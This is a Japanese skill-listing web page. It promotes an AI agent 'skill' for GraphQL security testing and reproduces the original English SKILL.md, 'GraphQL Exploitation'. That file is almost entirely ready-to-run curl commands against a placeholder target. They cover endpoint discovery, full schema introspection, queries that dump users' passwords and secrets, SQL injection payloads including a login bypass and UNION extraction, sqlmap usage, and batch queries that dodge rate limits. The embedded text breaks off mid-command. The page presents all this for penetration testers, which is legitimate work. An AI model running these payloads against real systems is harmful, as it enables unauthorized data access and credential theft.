graphql
できること
このスキルは、GraphQL APIを検査する手順をエージェントに案内します。エンドポイントの発見、スキーマの読み取り、アクセスルールが守られているかの確認を扱います。セキュリティテスター向けです。
使う場面
- ✓サイトやアプリがGraphQL APIを使っており、何が公開されているかを確認したいとき。
- ✓セキュリティレビューで、スキーマが本来隠すべきフィールドや操作を示していないか確認するとき。
- ✓GraphQLのクエリで、他の利用者が見てはいけないデータに届くかを確かめたいとき。
スキルのリンク
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/graphql/SKILL.mdコピーしてAI(Claude、ChatGPT、Cursor)に貼り付け、指示に従うよう頼んでください。
使い方
いちばん簡単な方法:メッセージをコピーしてAIに貼り付けるだけ。AIがスキルを読んで指示に従います。
貼り付け用メッセージ
Claude Code、Codex、Cursorの場合:プロジェクトのフォルダで実行するとスキルがインストールされます。
SKILL.mdをダウンロードして、エージェントのスキル用フォルダに入れてください。
AIへの頼み方の例
“私のGraphQL APIが、閲覧権限のない利用者にデータを見せていないか確認してください。”
毎週5つの新しいスキル。1分で読めます。
仕組み
エージェントは一般的なGraphQLのエンドポイントを探し、サーバーにスキーマを問い合わせます。見つけたクエリとミューテーションを使って、アクセス確認が弱くないかをテストします。
技術的な内容(元のSKILL.md)
作者による元のテキスト(英語)をGitHubからそのまま表示しています。
GraphQL Exploitation
Exploits GraphQL APIs for data exfiltration, SQL injection through resolvers, authentication/authorization bypass, and batch query abuse.
Discovery
# Common GraphQL endpoints
for path in /graphql /graphiql /v1/graphql /v2/graphql /api/graphql /query /gql /graphql/console; do
code=$(curl -s -o /dev/null -w "%{http_code}" "http://<TARGET>$path" -H 'Content-Type: application/json' -d '{"query":"{ __typename }"}')
[ "$code" != "404" ] && [ "$code" != "000" ] && echo "$path -> HTTP $code"
done
# Check for GraphiQL IDE (browser-based)
curl -s 'http://<TARGET>/graphiql' | grep -i 'graphiql\|graphql'
Introspection — Schema Dump
# Quick schema overview — list all types and their fields
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
-d '{"query":"{ __schema { types { name kind fields { name type { name kind ofType { name } } } } } }"}' | python3 -m json.tool
# List all query types (entry points)
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
-d '{"query":"{ __schema { queryType { fields { name args { name type { name } } type { name kind ofType { name } } } } } }"}' | python3 -m json.tool
# List all mutations
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
-d '{"query":"{ __schema { mutationType { fields { name args { name type { name } } } } } }"}' | python3 -m json.tool
# Full introspection query (complete schema)
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
-d '{"query":"query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } } } fragment FullType on __Type { kind name fields(includeDeprecated: true) { name args { name type { ...TypeRef } } type { ...TypeRef } } inputFields { name type { ...TypeRef } } enumValues(includeDeprecated: true) { name } } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name } } } }"}' | python3 -m json.tool
Data Enumeration (Authorization Bypass)
# After introspection reveals types, query all data
# Replace field names based on introspection results
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
-d '{"query":"{ users { id username email role password } }"}'
# Query nested/related objects
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
-d '{"query":"{ users { id name secrets { id content } } }"}'
# Query with specific filters
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
-d '{"query":"{ user(id: 1) { id username role password } }"}'
# Look for flag-related types/fields
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
-d '{"query":"{ flags { id value } }"}'
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
-d '{"query":"{ secrets { id content } }"}'
GraphQL SQL Injection
# String argument injection
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
-d '{"query":"{ user(name: \"admin\\\" OR 1=1--\") { id name } }"}'
# Union-based SQLi through GraphQL
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
-d '{"query":"{ user(id: \"1 UNION SELECT 1,2,flag FROM flags--\") { id name } }"}'
# Integer argument injection
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
-d '{"query":"{ user(id: \"1 OR 1=1\") { id name email } }"}'
# Mutation-based injection
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
-d '{"query":"mutation { login(username: \"admin\\\" OR 1=1--\", password: \"x\") { token } }"}'
# If sqlmap is available — use it with GraphQL
# Extract the injectable parameter and use sqlmap
sqlmap -u 'http://<TARGET>/graphql' --method POST \
--data '{"query":"{ user(id: \"1*\") { id name } }"}' \
-H 'Content-Type: application/json' --batch --output-dir sqlmap_graphql/
Batch Query Abuse
# Send multiple queries in one request (bypass rate limiting)
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
-d '[{"query":"{ user(id: 1) { id name } }"},{"query":"{ user(id: 2) { id name } }"},{"query":"{ user(id: 3) { id name } }"}]'
# Alias-based batching (single query, multiple operations)
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
-d '{"query":"{ u1: user(id: 1) { id name } u2: user(id: 2) { id name } u3:
よくある質問
スキーマのイントロスペクションとは何ですか?
GraphQLの機能で、APIが提供する型、フィールド、操作の一覧を取得できます。スキルはこれを使ってAPIの全体像を把握します。
バッチクエリも扱っていますか?
はい。バッチクエリの悪用も、このスキルが扱う範囲に含まれています。
異なる利用者がどこまで届くかも確認できますか?
はい。スキルは認可の回避を扱うため、利用者の権限ごとにアクセスルールを確認します。
詳細
作者による元の説明
GraphQL exploitation — introspection, injection, authorization bypass, and data exfiltration through GraphQL APIs.
人気
- GitHubのスター
- 6.5k
- ランキング
- #14063
- ライセンス
- Apache-2.0
- 更新日
- 2026/11/1
コメント
- …
このリポジトリの他のスキル
detector-overview
6.5kエージェントが、スキャナーが指摘したコードを読み、本物のセキュリティバグと誤検知を見分けられるよう支援します。
exploiter-overview
6.5kエージェントが、確認済みの複数のセキュリティ上の弱点を一つのテストの連鎖にまとめ、その影響がどこまで及ぶかを確認できるよう支援します。
llm-redteam-overview
6.5kエージェントが、プロンプトインジェクションからモデルの悪用まで、15の戦術グループの中から適切なAIレッドチーム用ガイドを見つけられるよう支援します。
aatmf-t01-prompt-injection
6.5kプロンプトインジェクションを説明します。隠された指示でAIシステムを乗っ取ろうとする手口を、セキュリティテスターが確認できるようにします。
似ているスキル
reverse-engineer-anything
422kREAツールを使って、出荷済みのアプリやパッケージの中身を調べ、機能の説明、版の比較、再構築の手順をエージェントが支援します。
1password
394k1Password CLIをセットアップし、サインインして、秘密情報の値を会話に表示せずに読み取ったり注入したりするようエージェントを支援します。
healthcheck
394kOpenClawを動かすコンピューターやサーバーを、SSH、ファイアウォール、更新、バックアップなどのセキュリティリスクについて監査し、安全な修正案を提案するようエージェントを支援します。